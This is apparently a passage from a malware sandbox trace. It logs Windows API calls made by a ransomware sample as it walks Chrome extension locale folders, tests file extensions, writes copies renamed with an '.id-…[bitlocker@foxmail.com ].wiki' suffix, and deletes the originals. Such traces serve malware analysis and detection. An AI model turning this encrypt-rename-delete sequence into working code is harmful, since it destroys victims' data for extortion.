(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.613] lstrlenW (lpString=".doc") returned 4 [0178.613] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.613] lstrlenW (lpString=".docx") returned 5 [0178.613] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.613] lstrlenW (lpString=".pdf") returned 4 [0178.613] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.613] lstrlenW (lpString=".xls") returned 4 [0178.613] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.613] lstrlenW (lpString=".xlsx") returned 5 [0178.613] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.613] lstrlenW (lpString=".ppt") returned 4 [0178.613] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.613] lstrlenW (lpString=".zip") returned 4 [0178.613] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.613] lstrlenW (lpString=".rar") returned 4 [0178.613] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.613] lstrlenW (lpString=".bz2") returned 4 [0178.613] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.613] lstrlenW (lpString=".7z") returned 3 [0178.613] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.613] lstrlenW (lpString=".dbf") returned 4 [0178.613] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.613] lstrlenW (lpString=".1cd") returned 4 [0178.613] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.613] lstrlenW (lpString=".jpg") returned 4 [0178.613] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.614] lstrlenW (lpString=".doc") returned 4 [0178.614] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.614] lstrlenW (lpString=".docx") returned 5 [0178.614] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.614] lstrlenW (lpString=".pdf") returned 4 [0178.614] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.614] lstrlenW (lpString=".xls") returned 4 [0178.614] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.614] lstrlenW (lpString=".xlsx") returned 5 [0178.614] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.614] lstrlenW (lpString=".ppt") returned 4 [0178.614] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.614] lstrlenW (lpString=".zip") returned 4 [0178.614] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.614] lstrlenW (lpString=".rar") returned 4 [0178.614] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.614] lstrlenW (lpString=".bz2") returned 4 [0178.614] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.614] lstrlenW (lpString=".7z") returned 3 [0178.614] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.614] lstrlenW (lpString=".dbf") returned 4 [0178.614] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.614] lstrlenW (lpString=".1cd") returned 4 [0178.614] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 155 [0178.615] lstrlenW (lpString=".jpg") returned 4 [0178.615] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.615] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.615] lstrlenW (lpString="messages.json") returned 13 [0178.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.615] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=667) returned 1 [0178.615] CloseHandle (hObject=0x1a4) returned 1 [0178.615] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0178.616] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.616] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.616] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.618] GetLastError () returned 0x0 [0178.618] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x29b, lpOverlapped=0x0) returned 1 [0178.620] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0178.621] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.621] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.621] SetEndOfFile (hFile=0x2e0) returned 1 [0178.621] CloseHandle (hObject=0x2e0) returned 1 [0178.621] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.621] SetEndOfFile (hFile=0x1a4) returned 1 [0178.629] CloseHandle (hObject=0x1a4) returned 1 [0178.629] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.629] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json")) returned 1 [0178.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.630] lstrlenW (lpString=".doc") returned 4 [0178.630] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.630] lstrlenW (lpString=".docx") returned 5 [0178.630] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.630] lstrlenW (lpString=".pdf") returned 4 [0178.630] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.630] lstrlenW (lpString=".xls") returned 4 [0178.630] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.630] lstrlenW (lpString=".xlsx") returned 5 [0178.630] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.630] lstrlenW (lpString=".ppt") returned 4 [0178.630] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.630] lstrlenW (lpString=".zip") returned 4 [0178.630] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.630] lstrlenW (lpString=".rar") returned 4 [0178.630] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.630] lstrlenW (lpString=".bz2") returned 4 [0178.630] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.630] lstrlenW (lpString=".7z") returned 3 [0178.630] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.630] lstrlenW (lpString=".dbf") returned 4 [0178.630] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.631] lstrlenW (lpString=".1cd") returned 4 [0178.631] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.631] lstrlenW (lpString=".jpg") returned 4 [0178.631] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.631] lstrlenW (lpString=".doc") returned 4 [0178.631] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.631] lstrlenW (lpString=".docx") returned 5 [0178.631] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.631] lstrlenW (lpString=".pdf") returned 4 [0178.631] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.631] lstrlenW (lpString=".xls") returned 4 [0178.631] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.631] lstrlenW (lpString=".xlsx") returned 5 [0178.631] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.631] lstrlenW (lpString=".ppt") returned 4 [0178.631] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.631] lstrlenW (lpString=".zip") returned 4 [0178.631] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.631] lstrlenW (lpString=".rar") returned 4 [0178.631] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.631] lstrlenW (lpString=".bz2") returned 4 [0178.631] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.631] lstrlenW (lpString=".7z") returned 3 [0178.631] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.631] lstrlenW (lpString=".dbf") returned 4 [0178.632] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.632] lstrlenW (lpString=".1cd") returned 4 [0178.632] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 159 [0178.632] lstrlenW (lpString=".jpg") returned 4 [0178.632] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.632] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.632] lstrlenW (lpString="messages.json") returned 13 [0178.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.632] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=609) returned 1 [0178.633] CloseHandle (hObject=0x1a4) returned 1 [0178.633] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json")) returned 0x2020 [0178.633] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.633] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.633] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.633] GetLastError () returned 0x0 [0178.633] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x261, lpOverlapped=0x0) returned 1 [0178.635] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x270, lpOverlapped=0x0) returned 1 [0178.636] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.636] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.636] SetEndOfFile (hFile=0x2e0) returned 1 [0178.636] CloseHandle (hObject=0x2e0) returned 1 [0178.636] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.636] SetEndOfFile (hFile=0x1a4) returned 1 [0178.637] CloseHandle (hObject=0x1a4) returned 1 [0178.637] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.637] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json")) returned 1 [0178.637] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.637] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.637] lstrlenW (lpString=".doc") returned 4 [0178.637] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.637] lstrlenW (lpString=".docx") returned 5 [0178.637] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.637] lstrlenW (lpString=".pdf") returned 4 [0178.637] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.637] lstrlenW (lpString=".xls") returned 4 [0178.637] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.638] lstrlenW (lpString=".xlsx") returned 5 [0178.638] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.638] lstrlenW (lpString=".ppt") returned 4 [0178.638] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.638] lstrlenW (lpString=".zip") returned 4 [0178.638] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.638] lstrlenW (lpString=".rar") returned 4 [0178.638] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.638] lstrlenW (lpString=".bz2") returned 4 [0178.638] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.638] lstrlenW (lpString=".7z") returned 3 [0178.638] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.638] lstrlenW (lpString=".dbf") returned 4 [0178.638] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.638] lstrlenW (lpString=".1cd") returned 4 [0178.638] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.638] lstrlenW (lpString=".jpg") returned 4 [0178.638] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 155 [0178.638] lstrlenW (lpString=".doc") returned 4 [0178.638] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.638] lstrlenW (lpString=".docx") returned 5 [0178.638] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.638] lstrlenW (lpString=".pdf") returned 4 